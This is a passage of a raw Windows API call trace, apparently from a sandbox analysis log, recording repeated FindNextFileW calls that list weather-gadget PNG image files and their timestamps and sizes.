ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8731159f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b81afe5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waxing-gibbous_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873376fc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x873376fc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b94bad5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3173, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_rainy.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8735d859, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8735d859, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b9e404d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3369, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_snow.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8735d859, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8735d859, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ba56467, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2fcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_thunderstorm.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873839b6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x873839b6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c1a0765, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3229, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_windy.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a9b13, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x873a9b13, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c1a0765, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x21a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_blue_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873cfc70, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x873cfc70, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c1a0765, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2ea3, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_blue_snow.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873cfc70, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x873cfc70, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c238cdd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2ce5, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_blue_sun.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8741bf2a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8741bf2a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c238cdd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x32c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_blue_windy.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87442087, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87442087, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c3697cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2929, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_cloudy.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x874681e4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x874681e4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c5cadad, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x29d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_few-showers.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748e341, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8748e341, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c5f0f0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x273c, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_foggy.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x874da5fb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x874da5fb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c663325, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3071, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_hail.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87500758, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87500758, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2cb25ee5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3253, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_rainy.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x875268b5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x875268b5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2cfe8aa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x32ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_snow.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8754ca12, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8754ca12, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2eda9c15, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x31d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_thunderstorm.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8773bbcb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8773bbcb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ef72c7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0x0, dwReserved1=0x0, cFileName="grayStateIcon.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8773bbcb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8773bbcb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2fc8a4cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x0, dwReserved1=0x0, cFileName="greenStateIcon.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c396e9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c396e9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3076689b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="info.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8773bbcb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8773bbcb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3076689b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x0, cFileName="notConnectedStateIcon.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87715a6e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87715a6e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3076689b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x0, cFileName="redStateIcon.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8767d4fa, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8767d4fa, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3078c9f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="search_background.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876c97b4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x876c97b4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x309c7e7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x758e, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked-loading.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c5f846, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c5f846, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x309edfd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6ddb, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_cloudy.png", cAlternateFileName="")) returned 1 [0081.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c859a3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c859a3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30b44c27, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6d83, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_few-showers.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c859a3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c859a3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30c2945b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7ee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_foggy.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86cabb00, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86cabb00, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30c2945b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7aae, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_hail.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86cd1c5d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86cd1c5d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30d33ded, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-first-quarter.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86cf7dba, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86cf7dba, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30d59f4b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x60f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-first-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d1df17, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d1df17, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30d59f4b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4ee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-full.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d44074, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d44074, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30e8aa3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x65e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-full_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d44074, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d44074, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30e8aa3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4a10, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-last-quarter.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d6a1d1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d6a1d1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x312b5083, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x61ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-last-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d9032e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d9032e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x312db1e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x558a, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-new.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d9032e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d9032e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3130133f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6ae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-new_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86db648b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86db648b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x315aebdb, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4d81, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waning-crescent.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ddc5e8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ddc5e8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x315d4d39, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6469, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waning-crescent_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e02745, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86e02745, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x316df6cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4b87, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waning-gibbous.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e288a2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86e288a2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x316df6cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x62fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waning-gibbous_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e4e9ff, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86e4e9ff, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x318a8733, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waxing-crescent.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e74b5c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86e74b5c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x32af4f5d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6455, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waxing-crescent_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e9acb9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86e9acb9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x32c4bbab, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waxing-gibbous.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e9acb9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86e9acb9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x338cae83, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6222, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waxing-gibbous_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ec0e16, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ec0e16, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x349747a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x94ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_rainy.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ee6f73, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ee6f73, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x34b89ac7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x918c, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_snow.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f0d0d0, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86f0d0d0, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x34bd5d83, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_thunderstorm.png", cAlternateFileName="")) returned 1 [0081.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f3322d, 